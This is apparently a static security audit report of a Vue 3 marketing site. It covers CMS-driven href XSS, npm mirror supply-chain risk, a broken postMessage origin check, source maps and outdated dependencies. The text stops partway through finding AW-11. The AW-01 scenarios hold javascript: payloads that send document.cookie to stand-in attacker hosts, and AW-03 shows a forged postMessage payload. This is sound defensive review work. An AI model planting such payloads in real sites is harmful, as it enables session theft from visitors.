← All repos

alist-website

Public marketing site for alist.ae — a Vue 3 SPA that renders content from an external Strapi v4 CMS and posts signups to a separate PHP backend.

Primary stackVue 3 + Vuex + Strapi (external) Last commit2026-04-23 Repo size117 MB Files485 Branchmaster Overall risk High

Executive summary

Tech stack

Vue 3.2 Vue CLI 5 / webpack 5 vue-router 4 (history) Vuex 4 axios 1.5 Bootstrap 5.3 (LTR + RTL) SCSS (sass + node-sass) GSAP 3 Swiper 10 @vueuse/head 2 Strapi v4 (external CMS) SPA / no SSR
CategoryTechnologyVersionNotes
FrameworkVue^3.2.13Mix of Options API and <script setup>
Build@vue/cli-service~5.0.0webpack 5; vue.config.js is effectively empty
Routingvue-router^4.2.4createWebHistory — host must SPA-fallback to /index.html
StateVuex^4.1.0state/mutations/actions/getters split into separate files under src/store/
HTTPaxios + vue-axios^1.5.0 / ^3.5.2Three clients: axiosClient (Strapi), axiosAPI (PHP backend), axiosAdmin (unused)
UIBootstrap^5.3.0LTR vs RTL stylesheet is async-imported once at boot based on initial Vuex state
Head / SEO@vueuse/head^2.0.0Per-route meta from src/config/meta.js
Miscgsap, swiper, vue3-marquee, markdown-vue, vue3-otp-input, vue3-toastify
Toolingeslint + eslint-plugin-vue^7.32.0 / ^8.0.3ESLint 7 is end-of-life since 2022; rules are {} (none custom)
Stale depsnode-sass, vue-template-compiler, vue-svg-loader^9 / ^2.7.14 / ^0.16.0All deprecated / Vue-2-only. vue-svg-loader isn't imported anywhere.

Architecture

Classic Vue 3 SPA. main.js bootstraps the app and async-imports the right Bootstrap stylesheet for LTR or RTL. App.vue captures UTM parameters from the URL into Vuex+localStorage on mount and renders a single <layout>. Each page component dispatches Vuex actions that fetch from Strapi (axiosClient) with deeply populated query strings, or from the PHP backend (axiosAPI) for forms and location lookups. The Strapi CMS lives in a sibling repository (strapi/ is gitignored).

alist-website/ ├── public/ static assets, robots.txt, sitemap.xml │ └── index.html ALL analytics tags hardcoded (GA, Ads, GTM, FB, TikTok, Hotjar, Intercom) ├── src/ │ ├── App.vue root; UTM capture; useHead meta defaults │ ├── main.js app bootstrap; LTR/RTL bootstrap css swap │ ├── axiosClient.js three axios clients (Strapi, API, Admin[unused]) │ ├── router/index.js 24 routes incl. SignUpVer2, YouTubeCallback, catch-all NotFound │ ├── store/ Vuex split files; actions.js is 460 lines of Strapi fetchers │ ├── config/meta.js per-route SEO meta │ ├── Pages/ 24 page components; SignUp.vue + SignUpVer2.vue (only V2 routed) │ ├── components/ │ │ ├── Form/creator/ THREE versions: legacy, newForm/, newFormVer2/ (the live one) │ │ ├── Form/brands/ brand signup form steps │ │ ├── Overview/, Blog/, Career/, Team/, Subscriptions/, Brands/, Creators/, Faq/, Cards/, Common/, Helpers/, Home/, layout/ │ └── StrapiIntegration/ │ └── ServerCrenditials.js ← hardcodes https://dev-strapi.alist.ae/ (typo'd "Crenditials") ├── generate-sitemap.js hand-maintained route list; runs before build ├── vue.config.js empty (only transpileDependencies: true) └── bitbucket-pipelines.yml every push: tar HEAD → fresh git init → force-push to github.com/parhamramezani/alist

Security assessment — methodology

This is a skill-grounded static security review of the alist-website repository. Four frontend assessment dimensions (client-side secrets/data exposure, XSS & client-side injection, dependencies/supply-chain & CI/CD, and misconfiguration/CORS/headers) were run against the source, lockfiles, build config and CI pipeline, then deduplicated and severity-normalised. Each finding is mapped to OWASP Top 10 2021, a CWE, and a CVSS 3.1 vector; CVE and EPSS are cited where a public advisory exists.

OWASP Top 10 2021 OWASP WSTG OWASP API Top 10 2023 OWASP MASVS (mobile only) CWE CVSS 3.1 NIST CSF 2.0
Playbooks applied for this repo (anthropic-cybersecurity-skills):
Client-side secret & data exposureimplementing-secret-scanning-with-gitleaks, testing-for-sensitive-data-exposure, performing-cryptographic-audit-of-application
XSS & client-side injectiontesting-for-xss-vulnerabilities, exploiting-prototype-pollution-in-javascript, testing-for-open-redirect-vulnerabilities
Dependencies, supply chain & CI/CDperforming-sca-dependency-scanning-with-snyk, analyzing-sbom-for-supply-chain-vulnerabilities, detecting-supply-chain-attacks-in-ci-cd, prioritizing-vulnerabilities-with-cvss-scoring
Misconfiguration, CORS & headerstesting-cors-misconfiguration, testing-for-host-header-injection

Risk narrative

alist-website is a public Vue 3 marketing SPA with no committed secrets and no v-html, so the directly-exploitable client surface is small, but two high-severity issues dominate: CMS-controlled values are bound straight into :href across the site with no scheme allow-listing, giving any Strapi content editor a stored javascript:-URI DOM-XSS in the alist.ae origin (no CSP exists to blunt it); and the dependency supply chain is anchored on the third-party registry.npmmirror.com for the majority of both lockfiles with no pinning config and no CI audit gate, making a foreign mirror an install-time code-execution trust anchor for the production build. A cluster of Medium issues compounds this: a fail-open postMessage origin check (&& instead of ||) in the YouTube OAuth handler, default-on production source maps, a deprecated node-sass install-script build dependency, several known-vulnerable build-time transitives (nth-check/postcss/ip/braces), and a CI pipeline that force-pushes the full source to a personal external GitHub account on every commit. Notably, the scanners over-rated the hardcoded dev-strapi.alist.ae URL as P1 "prod traffic to dev CMS" — verification shows the ServerCrenditials import is dead (never referenced), so it is only a P3 hostname-disclosure issue. The pervasive root cause is process: no SCA/test/build gate in CI, dual uncurated lockfiles, and uncurated/abandoned dependencies, which lets all of the above accumulate unnoticed.

Overall risk High
0 P0 2 P1 6 P2 11 P3

OWASP Top 10 2021 coverage

CategoryStatusNote
A01:2021 Broken Access Control clean Static SPA with no client-enforced authz; the YouTube postMessage flaw is auth-failure not access control (tracked under A07). No client-side trust decisions gate protected resources here.
A02:2021 Cryptographic Failures clean No secrets in client code; no crypto implemented in-repo. The csrf-token meta is an inert leftover (AW-17), not a real key.
A03:2021 Injection vuln AW-01 CMS-driven :href javascript: DOM-XSS (P1, exploitable with CMS write). AW-13 markdown-vue allowDangerousHtml is latent only (no v-html, escaped today).
A04:2021 Insecure Design partial AW-11 dead-but-bundled SignUp.vue hardcodes admin@alist.ae over user email — latent data-integrity landmine if the route is ever re-pointed.
A05:2021 Security Misconfiguration vuln AW-04 prod source maps, AW-10 no CSP/SRI, AW-12 bundled dev hostname, AW-17 csrf/markdownRules leftovers, AW-18 missing security headers, AW-19 no consent gating.
A06:2021 Vulnerable and Outdated Components vuln AW-05 node-sass EOL, AW-07 nth-check CVE-2021-3803, AW-08 postcss/ip/braces CVEs, AW-09 no SCA gate, AW-14 markdown-vue/@nuxt/kit, AW-15 vue-template-compiler, AW-16 scss@0.2.4.
A07:2021 Identification and Authentication Failures vuln AW-03 fail-open postMessage origin check (&& vs ||) in the YouTube OAuth handler enables cross-origin OAuth-result spoofing (P2).
A08:2021 Software and Data Integrity Failures vuln AW-02 majority of deps resolved from third-party npmmirror with no pinning (P1); AW-06 CI force-pushes full source to a personal GitHub account (P2).
A09:2021 Security Logging and Monitoring Failures n/a Client-side static SPA; no server-side logging in this repo to assess. Source maps shipped (AW-04) is the closest related concern, covered under A05.
A10:2021 Server-Side Request Forgery (SSRF) n/a No server-side request-issuing code in this client-only repo. (ip@2.0.0's isPublic() SSRF CVE is build-tooling-only, noted under AW-08.)

Detailed findings

P0 critical P1 high P2 medium P3 low / info
AW-01

CMS-controlled values bound to :href enable javascript:-URI DOM XSS sitewide

P1 A03:2021 Injection CWE-83 CVSS 6.3 EPSS n/a confirmed
Description

Vue does not sanitize values bound via v-bind:href. Numerous components bind link targets directly from external Strapi v4 CMS responses into :href with no scheme allow-listing. All page copy/links are fetched read-only and unauthenticated from the external Strapi instance. Any actor with Strapi content-edit access (compromised CMS account, a content contributor, or a Strapi public-role/authz misconfiguration) can set a link field to javascript:fetch('https://attacker/c?'+document.cookie). When a visitor clicks the affected link (footer social icon, review link, signup CTA), the script executes in the alist.ae origin. The repo's own CustomLink.vue proves the team knows the safe pattern but applied it to exactly one helper.

Evidence
src/components/layout/TsFooter.vue:77 :href="socialLink.href" bound directly from $store.state.footer.SocialMediaGroup.SocialMedia[].href fetched from Strapi `api/footer` (src/store/actions.js:74-76) src/components/Common/CreatorsReviews.vue:66 :href="link.Link" from CMS card data src/components/Creators/TsHero.vue:32 :href="$store.state.creatorPage.Banner.Login.To" src/components/Form/CreatorSignupHero.vue:88/95/102 and :449/:585 socialMediaBtn.to bound raw src/components/Helpers/CustomLink.vue:25-27 isExternalLink() only checks startsWith('https://')||('http://') and is the ONLY guarded link path; the raw :href bindings above perform no scheme allow-listing No v-html anywhere in src (grep returned nothing) and no Content-Security-Policy in public/index.html, so there is no mitigating control
Attack scenario
A content contributor (or attacker who phished a Strapi editor account, or who reaches an over-permissive Strapi public write role) edits the footer SocialMedia[].href field to javascript:fetch('//evil.tld/x?c='+document.cookie). The change propagates via api/footer to every page. A visitor clicks the (e.g. Instagram) footer icon; the javascript: URI executes in alist.ae context, exfiltrating cookies/DOM and enabling a credential-phishing overlay on the signup flow.
Impact

Stored DOM-based XSS in the production alist.ae origin: cookie/session theft on any logged-in surface sharing the origin, phishing overlays on the high-value creator/brand signup funnel, redirection of signups, and persistent compromise of every visitor who clicks an affected link until the CMS field is cleaned. With no CSP there is no second line of defense. Requires CMS-write privilege (PR:H) and a victim click (UI:R), capping at P1.

Remediation
Introduce a single sanitizing href helper (reuse/extend CustomLink.vue) that allow-lists only https:, http:, mailto:, tel: and /-relative URLs and rejects javascript:, data:, vbscript: and protocol-relative tricks; route every CMS-derived URL through it and replace the raw :href bindings listed above. Add a CSP with script-src 'self' plus enumerated analytics origins as defense-in-depth. Lock the Strapi public role to read-only and audit who can edit link fields.
Verifier note

Confirmed: raw :href bindings present and unguarded at the cited lines; CustomLink.vue is the only scheme-checked path; no v-html and no CSP confirmed. Trust boundary is Strapi write access, hence PR:H/P1 rather than P0. CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

AW-02

Supply-chain trust anchored on third-party mirror registry.npmmirror.com for majority of dependency tree

P1 A08:2021 Software and Data Integrity Failures CWE-1357 CVSS 7.4 EPSS n/a confirmed
Description

Both committed lockfiles record the integrity-verified tarball URLs for the majority of the dependency tree as pointing to registry.npmmirror.com (an Alibaba-operated mirror) rather than registry.npmjs.org. With no .npmrc/.yarnrc to pin a registry, this state was produced by whoever generated the lockfiles and is now persisted for every developer and any CI that honours resolved URLs. The lockfiles carry sha512 integrity hashes (mitigating naive tarball tampering), but a non-npm-Inc third party (the mirror operator plus its CDN/DNS path) becomes a trust anchor for build artifacts of a production site. A mirror compromise, BGP/DNS hijack of the mirror host, or a poisoned mirror cache becomes a code-execution vector at install time because build dependencies run install/postinstall scripts as the developer/CI user.

Evidence
yarn.lock: 844 entries resolved from https://registry.npmmirror.com vs 326 from registry.npmjs.org (verified by grep -c) package-lock.json: 963 entries resolved from registry.npmmirror.com vs 352 from registry.npmjs.org (verified by grep -c) Examples: postcss-7.0.39, braces-3.0.2, ipaddr.js, nth-check-2.1.1 all resolved from npmmirror No .npmrc / .yarnrc / .yarnrc.yml committed (ls confirmed none) — the mirror is baked into the resolved URLs in both lockfiles, not pinned by config
Attack scenario
An attacker who compromises registry.npmmirror.com (or hijacks DNS/BGP to it, or poisons its CDN cache for a not-yet-pinned version) serves a trojaned tarball for a build dependency. On the next npm install/yarn install on a developer machine or CI runner, the package's postinstall script executes with the user's privileges, exfiltrating credentials or injecting malicious code into the production bundle.
Impact

Compromise or hijack of the mirror or its network path can substitute malicious build-time dependencies that execute install scripts, leading to developer-workstation and build-pipeline compromise and potential injection of malicious code into the shipped /dist bundle. Even absent active compromise, builds depend on a foreign mirror's availability and patch cadence and artifact provenance is degraded.

Remediation
Standardise on registry.npmjs.org. Commit an .npmrc (registry=https://registry.npmjs.org/) and a yarn npmRegistryServer setting, regenerate the lockfile so all resolved URLs point to npmjs.org, and verify integrity. If a mirror is needed for performance, run an internal trusted proxy (Verdaccio/Artifactory/Nexus) under organisational control, enforced via committed config so it cannot silently drift. Also delete one of the two co-existing lockfiles.
Verifier note

Confirmed exact mirror/official counts from both lockfiles and confirmed absence of any registry-pinning config. sha512 integrity present (mitigates tamper of already-pinned versions) but provenance and install-time path remain the risk; AC:H reflects need for mirror/network compromise. CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N

AW-03

Broken postMessage origin validation in YouTube OAuth handler (&& instead of ||) allows cross-origin OAuth-result spoofing

P2 A07:2021 Identification and Authentication Failures CWE-346 CVSS 6.1 EPSS n/a confirmed
Description

The message-event handler joins its two reject conditions with && instead of ||: it only returns when BOTH the origin is wrong AND the type is not 'youtube-oauth'. An attacker-controlled window/iframe from any origin that holds a reference to the victim tab can send postMessage({type:'youtube-oauth', status:'success', channel:{id,title,customUrl}}); because the type clause is false, the whole AND is false, the early return is skipped, and the attacker's message body is processed. The attacker-controlled channel object drives youtubeChannelInfo, the success toast (event.data.channel.customUrl), and the youtube-connected emit consumed by the parent form.

Evidence
src/components/Form/creator/newFormVer2/Form3Ver2.vue:152 window.addEventListener('message', this.handleOAuthMessage) registered in mounted() src/components/Form/creator/newFormVer2/Form3Ver2.vue:258-262 allowedOrigin derived from process.env.VUE_APP_REDIRECT_URI (falls back to window.location.origin); guard is if (event.origin !== allowedOrigin && event.data.type !== 'youtube-oauth') { return; } src/components/Form/creator/newFormVer2/Form3Ver2.vue:280-298 reads event.data.status / event.data.channel / event.data.channel.customUrl from the unverified message, sets youtubeConnected=true, renders customUrl into a toast, and $emit('youtube-connected') src/Pages/YouTubeCallback.vue:78-146 the legitimate sender posts type 'youtube-oauth-success'/'youtube-oauth-error' with targetOrigin window.location.origin — send side is correct; the literal 'youtube-oauth' the guard tests for is not even the real type, so a real callback would still be origin-checked but an attacker using 'youtube-oauth' bypasses it
Attack scenario
Victim opens the creator signup form. A malicious page the victim also has open (or that opened alist.ae) calls win.postMessage({type:'youtube-oauth', status:'success', channel:{id:'x',title:'Fake',customUrl:'@attacker'}}, '*'). The && guard is bypassed; the form shows 'YouTube channel @attacker connected successfully', sets youtubeConnected=true, and submits attacker-controlled social-account data with the creator's signup.
Impact

An attacker page can forge a 'YouTube connected' state in the creator signup form without any real OAuth and inject attacker-chosen channel id/title/customUrl into the UI and into the data the user subsequently submits. Downstream sinks (vue3-toastify string, mustache interpolation, button label) HTML-escape, so this is UI/state spoofing and OAuth-result spoofing rather than direct script execution. Requires the victim to have the form open and the attacker to hold a window handle (UI:R).

Remediation
Validate origin unconditionally and fail-closed: if (event.origin !== allowedOrigin) return; separate from any content/type check. Additionally verify event.source === this._youtubePopup, validate event.data.type against the exact expected value after the origin check, never render message fields without escaping, and scope the listener lifetime to the active OAuth flow rather than the whole component mount. Avoid falling back to window.location.origin for allowedOrigin.
Verifier note

Confirmed at Form3Ver2.vue:262. Two raw findings (xss_clientside + misconfig_cors) describe the same bug; deduped here. Legit callback type is 'youtube-oauth-success' so the developer happy-path is unaffected, but the literal 'youtube-oauth' fully neuters the origin check. No v-html on the sinks, so spoofing/state-injection not script execution; P2. CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

AW-04

Production webpack source maps shipped to browser (productionSourceMap default true)

P2 A05:2021 Security Misconfiguration CWE-540 CVSS 5.3 EPSS n/a likely
Description

vue.config.js does not set productionSourceMap: false and contains no devtool override, so Vue CLI 5's default productionSourceMap=true applies and .js.map files reconstructing the full un-minified source are emitted. If those maps are deployed (common unless the host strips them), the complete original Vue source — internal Strapi/PHP backend route shapes (e.g. v1/brands/web/min-signup, v1/general-settings), the dev-strapi.alist.ae hostname string, the YouTube OAuth flow, the postMessage handling, the dead SignUp.vue admin override, and the embedded third-party IDs — is downloadable by anyone.

Evidence
vue.config.js: defineConfig({ transpileDependencies: true }) only — no productionSourceMap: false, no configureWebpack/chainWebpack devtool override (verified by reading the full file; the only other config is commented-out svg/sass loader blocks) Vue CLI 5 (@vue/cli-service 5.0.8 in lockfiles) defaults productionSourceMap to true, so vue-cli-service build emits *.js.map next to every bundle in /dist package.json: "build": "npm run generate-sitemap && vue-cli-service build" and "production": "vue-cli-service build --mode production" both inherit the default
Attack scenario
An attacker fetches https://www.alist.ae/js/app.<hash>.js.map, reconstructs the original source, and reads the full set of backend endpoint shapes, the dev CMS hostname, and the OAuth/postMessage logic — then uses that to craft the AW-01 CMS-XSS and AW-03 postMessage attacks with no guesswork.
Impact

Source maps hand an attacker a fully readable copy of the application logic, materially lowering the cost of mapping the backend attack surface and locating the other logic findings in this report. No high-entropy secret lives in src, so direct credential exposure is limited; confidentiality-only impact, hence Medium. Confidence 'likely' because whether the .map files are actually served depends on the (out-of-repo) host/CDN.

Remediation
Set productionSourceMap: false in vue.config.js (or configureWebpack: { devtool: false }). If maps are needed for error monitoring (e.g. Sentry), generate hidden maps in CI and upload them privately; ensure the host/CDN never serves *.map publicly and delete *.js.map from /dist before deploy.
Verifier note

Confirmed no source-map suppression in vue.config.js. Two raw findings (client_secrets P2 + misconfig_cors P3) describe the same issue; deduped to one P2. Exploitability gated on host actually serving maps, hence confidence 'likely'. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

AW-05

node-sass@9.0.0 (deprecated/EOL native install-script build dependency, redundant with Dart sass)

P2 A06:2021 Vulnerable and Outdated Components CWE-1104 CVSS 4.7 EPSS n/a confirmed
Description

node-sass is officially deprecated/EOL (maintainers direct users to Dart sass). It wraps the dead LibSass C++ library and compiles a native binary via node-gyp through an install script on every install. The project already ships Dart sass + sass-loader, so node-sass is redundant dead build tooling. A deprecated, unmaintained native install-script dependency receives no security patches and executes arbitrary build logic with the installing user's privileges.

Evidence
package.json:27 (dependencies) and package.json:51 (devDependencies): "node-sass": "^9.0.0" package-lock.json node_modules/node-sass@9.0.0: "hasInstallScript": true, depends on node-gyp@^8.4.1 + nan (native LibSass build at install time) package.json also declares "sass": "^1.63.6" (Dart Sass) and "sass-loader": "^13.3.2" — sass-loader prefers Dart sass, making node-sass redundant vue.config.js: the only sass-loader customisation is commented out, so node-sass is not referenced by build config
Attack scenario
A new consultant runs npm install; node-sass's postinstall either fails to build on the current toolchain (availability/onboarding block) or, if the prebuilt-binary fallback host or the package itself were compromised, runs attacker code at install time with full user privileges.
Impact

An unmaintained install-script native dependency enlarges the build-time attack surface and supply-chain footprint (it can fetch a prebuilt binary from a remote host as a fallback), receives no security updates, and creates availability/maintenance risk (frequent install failures on modern Node/Apple-Silicon toolchains).

Remediation
Remove node-sass from both dependencies and devDependencies and rely solely on Dart sass + sass-loader (already present). Re-test the SCSS build. This also removes one of the install-script packages from the tree.
Verifier note

Confirmed in package.json (both sections) and hasInstallScript:true in the lockfile, with Dart sass already present. Adjusted CVSS slightly from raw (kept Local/AC:H) — exploitation requires a compromised package/build host or is an availability issue; P2. CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:L

AW-06

CI pipeline force-pushes full source to a personal external GitHub account (parhamramezani/alist)

P2 A08:2021 Software and Data Integrity Failures CWE-732 CVSS 6.5 EPSS n/a confirmed
Description

On every commit, the Bitbucket pipeline tars a clean snapshot of the source and force-pushes it to github.com/parhamramezani/alist — a personal developer GitHub account, not an organisation-controlled repo. This is a continuous automated exfiltration of the full source tree to an account outside the client's governance. The GITHUB_TOKEN is correctly a Bitbucket secured env var (not hardcoded), which is the one good part, but the trust placed in the personal destination plus the --force design are the risk.

Evidence
bitbucket-pipelines.yml:20 git remote add github https://x-access-token:${GITHUB_TOKEN}@github.com/parhamramezani/alist.git bitbucket-pipelines.yml:22 git push github master --force git remote -v: origin is git@bitbucket.org:ParhamandCo/alist-website.git — the GitHub target (parhamramezani) is a personal account, not an org-owned ParhamandCo repo Pipeline 'default' step 'Clean Rebuild Sync' runs on every push with no branch filter
Attack scenario
The developer who owns parhamramezani is offboarded (or their personal GitHub account is phished). They retain a full, current copy of the proprietary source and can publish or tamper with it; because the pipeline force-pushes, there is no audit trail on the destination to detect manipulation.
Impact

Full source-code disclosure and integrity risk via an external personal account the organisation does not control: offboarding that developer or compromise of that personal GitHub account turns the mirror into a leak/tamper point. --force destroys destination history, undermining incident reconstruction. The destination effectively becomes an uncontrolled mirror of company IP.

Remediation
Repoint the mirror to an organisation-owned GitHub repo (ParhamandCo/client org) with branch protection, drop --force in favour of a protected fast-forward push, rotate the GITHUB_TOKEN and scope it to that org repo only, audit who controls parhamramezani/alist and decommission it after migration, and add a branch filter so the sync only runs on intended branches.
Verifier note

Confirmed against bitbucket-pipelines.yml and git remote. Matches the prior audit's P1 'force-push' finding; kept at P2 here because the source is a public-facing marketing SPA with no committed secrets, but governance/IP and integrity risk is real. CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

AW-07

Reachable transitive ReDoS nth-check@1.0.2 (CVE-2021-3803) via abandoned vue-svg-loader build chain

P2 A06:2021 Vulnerable and Outdated Components CWE-1333 CVSS 7.5 CVE-2021-3803 EPSS ~0.5% likely
Description

nth-check 1.0.2 contains an inefficient regular expression (CVE-2021-3803) allowing ReDoS when parsing crafted nth-child/CSS selectors. It is dragged in transitively by the abandoned vue-svg-loader@0.16.0 (last published ~2020) through a legacy svgo -> css-select@2.1.0. Exploitability here is bounded: nth-check runs at build time over the project's own SVG assets, the dependency is dev-only, and vue-svg-loader's rule is currently commented out in vue.config.js, so the chain may not even be exercised. It remains a known-vulnerable, unpatched-in-this-tree component and an indicator of an abandoned loader pulling EOL transitives.

Evidence
package-lock.json node_modules/svg-to-vue/node_modules/nth-check: version 1.0.2 ("dev": true), resolved from registry.npmjs.org, depends on boolbase Parent chain: root -> vue-svg-loader@0.16.0 (package.json:35,52) -> svg-to-vue@0.7.0 -> css-select@2.1.0 -> nth-check@1.0.2 yarn.lock also pins nth-check@^1.0.2 -> 1.0.2 alongside nth-check@^2.1.1 -> 2.1.1 vue.config.js: the vue-svg-loader rule is COMMENTED OUT, so the loader is not exercised by the current build
Attack scenario
If vue-svg-loader is ever re-enabled and a contributor adds a crafted SVG whose embedded CSS selector triggers the nth-check catastrophic regex, a build runner hangs (DoS), stalling the pipeline.
Impact

Build-time ReDoS / hang if a maliciously crafted SVG is processed by the loader; primarily hygiene/SCA-noise plus an indicator of an abandoned build loader dragging in EOL packages (loader-utils v1, legacy svgo). Not a runtime exposure for the shipped SPA.

Remediation
Remove vue-svg-loader (its rule is already commented out, suggesting it is unused) or replace with a maintained Vue 3 SVG loader. If the chain must remain, add an npm overrides / yarn resolutions entry forcing nth-check>=2.0.1. Re-run npm audit to confirm the 1.0.2 path is gone.
Verifier note

Presence of nth-check@1.0.2 confirmed in both lockfiles via the svg-to-vue chain; confirmed dev-only and that the loader rule is commented out, hence confidence 'likely' for real impact. NVD base 7.5 retained but real-world risk is build-time only. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

AW-08

Vulnerable/EOL transitive build dependencies (postcss@7.0.39, ip@2.0.0, braces@3.0.2) with no SCA gate

P2 A06:2021 Vulnerable and Outdated Components CWE-1395 CVSS 5.3 CVE-2023-44270 CVE-2024-29415 CVE-2024-4068 EPSS ~0.2–0.3% likely
Description

The transitive dependency tree carries several packages below their patched versions: postcss 7.0.39 (CVE-2023-44270), ip 2.0.0 (CVE-2024-29415), braces 3.0.2 (CVE-2024-4068). All sit in build/dev tooling (CSS minification, dev-server proxy, file watching) rather than the runtime SPA bundle, so direct production exploitability is limited and these are mostly DoS/parsing-integrity class issues at build time. The presence of the vulnerable versions is confirmed from the lockfile; exploitability confidence is 'likely' because the affected code runs in build context.

Evidence
package-lock.json:3374 postcss version 7.0.39 (CVE-2023-44270, GHSA-7fh5-64p2-3v2j) resolved from npmmirror, pulled via legacy cssnano/postcss-svgo chain package-lock.json:7920 ip version 2.0.0 ("dev": true) (CVE-2024-29415 SSRF/isPublic() bypass, GHSA-2p57-rm9w-gvfp) via socks proxy tooling package-lock.json:4330 braces version 3.0.2 (CVE-2024-4068 resource consumption, GHSA-grv7-fg5c-xmjg) via chokidar/micromatch
Attack scenario
During a build, a crafted CSS file or a proxied request triggers the postcss source-map parsing bug or the braces resource-consumption path, hanging or corrupting the build; ip's isPublic() bypass could enable SSRF if dev-server proxy tooling ever evaluates attacker-influenced hostnames.
Impact

Build-time DoS/parsing-integrity exposure and a growing backlog of unremediated known-vulnerable transitive components, degrading trust in the integrity of the produced bundle and indicating an aging Vue CLI 5 / webpack 5 toolchain whose transitives are no longer refreshed.

Remediation
Run npm audit / Snyk against the lockfile, then use npm overrides (or yarn resolutions) to force postcss>=8.4.31, ip>=2.0.1, braces>=3.0.3, nth-check>=2.0.1. Schedule a Vue CLI -> Vite migration or at minimum periodic dependency refresh.
Verifier note

All three versions confirmed present in package-lock.json at cited lines. Build/dev-context only (ip is dev:true); folded the systemic 'no SCA gate' root cause into AW-09. CVSS lowered from NVD bases to reflect build-time-only reachability. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

AW-10

No Content-Security-Policy and no Subresource Integrity on third-party tracker/widget scripts

P2 A05:2021 Security Misconfiguration CWE-1021 CVSS 5.4 EPSS n/a confirmed
Description

The site loads at least eight remote third-party scripts (Hotjar, GTM/Analytics/Ads, Facebook Pixel, TikTok Pixel, Intercom, dynamically-injected Calendly) with execution privileges. None use Subresource Integrity and the page ships no CSP. Several (GTM in particular) are containers that can inject further arbitrary scripts. As a static SPA, no in-repo code emits a CSP response header.

Evidence
public/index.html <head> loads Hotjar, GA/GTM/Google Ads (AW-16745410453 loaded twice, AW-11564075369, G-2H13HZMS8G, GTM-P33GXCBR), Facebook Pixel, TikTok Pixel, Intercom (widget.intercom.io/widget/uicijnyh) — none with an integrity= attribute src/Pages/BrandsDemoRequest.vue:30-42 dynamically injects https://assets.calendly.com/assets/external/widget.js with no integrity/crossorigin grep for integrity|crossorigin|nonce across public/ and src/ returns no matches No <meta http-equiv="Content-Security-Policy"> in public/index.html (grep confirmed only csrf-token meta at line 215)
Attack scenario
An attacker compromises one of the loaded vendor CDNs (or hijacks its DNS); the swapped script executes in alist.ae context, hooks the creator/brand signup form fields and exfiltrates PII as users type, undetected because there is no CSP or SRI to constrain it.
Impact

If any of these third-party CDNs/containers is compromised or hijacked (a recurring supply-chain class — tag-manager/analytics CDN takeovers), arbitrary JavaScript executes in the alist.ae origin with no integrity check and no CSP to stop it. Injected script could read the DOM, exfiltrate signup/career/contact form input, manipulate the UI, or pivot via the AW-03 postMessage handler. High attack complexity (depends on third-party compromise) keeps this Medium.

Remediation
Add a strict CSP delivered as an HTTP response header at the host/CDN layer (preferred) or a fallback meta tag: default-src 'self'; script-src 'self' <enumerated trusted analytics origins>; object-src 'none'; base-uri 'self'; frame-ancestors 'none'. Avoid 'unsafe-inline'/'unsafe-eval'. Where a vendor publishes immutable versioned scripts, pin with SRI. Consolidate analytics behind a single GTM container, remove the duplicate AW-16745410453 tag.
Verifier note

Confirmed: no CSP meta, no integrity/crossorigin anywhere, Calendly injected dynamically. Trackers are public-by-design IDs (no rotation needed). Folded the duplicate AW-16745410453 tag observation in. AC:H reflects dependence on a third-party compromise; P2. CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N

AW-09

No SCA / dependency-audit / build quality gate in CI; dual lockfiles, no registry pinning

P3 A06:2021 Vulnerable and Outdated Components CWE-1104 CVSS 3.7 EPSS n/a confirmed
Description

The only automated pipeline mirrors source to GitHub; it never installs dependencies, runs npm audit/SCA, lints, builds, or tests. Combined with two co-existing lockfiles (npm + yarn) and no committed registry config, there is no mechanism to detect the known-vulnerable transitive deps (AW-07, AW-08), catch lockfile/registry drift (AW-02), or fail a build on a newly disclosed CVE. This is the root cause that lets the dependency findings persist unnoticed.

Evidence
bitbucket-pipelines.yml: the single 'Clean Rebuild Sync' step runs only git archive/init/commit/push — no npm/yarn install, build, audit, lint or test step package.json scripts: only serve/build/lint/production/generate-sitemap — no test script, no audit hook No .github/workflows; no Snyk/Dependabot/.snyk policy; no committed pre-commit hooks Both package-lock.json (1316 pkgs) and yarn.lock (~1170 entries) committed with no .npmrc/.yarnrc single source of truth (ls confirmed none)
Attack scenario
A newly disclosed critical CVE lands in a transitive dependency; with no audit step nothing flags it, and the next manual build ships it. Separately, developer A resolves via yarn.lock and CI/dev B via package-lock.json, producing divergent trees and a heisenbug.
Impact

Vulnerable and outdated components accumulate without detection; no guardrail against malicious or compromised dependency updates entering the build; dual lockfiles invite resolution drift between developers and any future automated build.

Remediation
Add a CI quality gate (Bitbucket Pipelines or GitHub Actions) that runs npm ci against a single chosen lockfile, then npm audit --audit-level=high (or Snyk --severity-threshold=high), npm run lint, and the production build, failing on high/critical. Enable Dependabot/Renovate or Snyk fix-PRs. Delete the non-standard lockfile and commit an .npmrc/.yarnrc pinning the official registry.
Verifier note

Confirmed pipeline contents, package.json scripts, absence of workflows/hooks, and both lockfiles present with no registry config. This is the systemic root cause; kept as a single P3 process finding. CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

AW-11

Dead-but-bundled SignUp.vue hardcodes admin@alist.ae over the user's email before brand-signup POST

P3 A04:2021 Insecure Design CWE-561 CVSS 3.1 EPSS n/a confirmed
Description

The unrouted SignUp.vue overrides every brand signup's email with the literal admin@alist.ae right before posting to the PHP backend's v1/brands/web/min-signup endpoint. The router wires /brand-signups to SignUpVer2.vue (imported under the alias SignUp), so SignUp.vue is dead/unreachable today — but it is still bundled and discoverable (and trivially readable via the shipped source maps, AW-04).

Evidence
src/Pages/SignUp.vue:418 this.FormData["email"] = "admin@alist.ae"; immediately before axiosAPI.post('v1/brands/web/min-signup', ...) at :420 src/router/index.js:24 imports '../Pages/SignUpVer2.vue' aliased as SignUp; :48 { path: '/brand-signups', component: SignUp } — the routed component is SignUpVer2.vue, NOT SignUp.vue SignUp.vue is therefore unrouted but still compiled into the bundle
Attack scenario
